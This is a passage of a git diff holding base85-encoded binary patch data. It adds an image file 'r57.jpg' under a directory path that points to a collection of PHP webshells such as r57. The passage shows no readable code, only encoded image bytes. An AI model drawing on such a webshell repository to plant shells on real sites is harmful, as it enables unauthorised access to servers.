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 WR5jHnglNrfd@r)P539@U4gU$8vZ1m7 literal 0 HcmV?d00001 diff --git a/php/PHPshell/【r57_iFX】/r57.jpg b/php/PHPshell/【r57_iFX】/r57.jpg new file mode 100644 index 0000000000000000000000000000000000000000..c4452dcf2d35ff37716cc47823fcd364e1516f6e GIT binary patch literal 80268 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 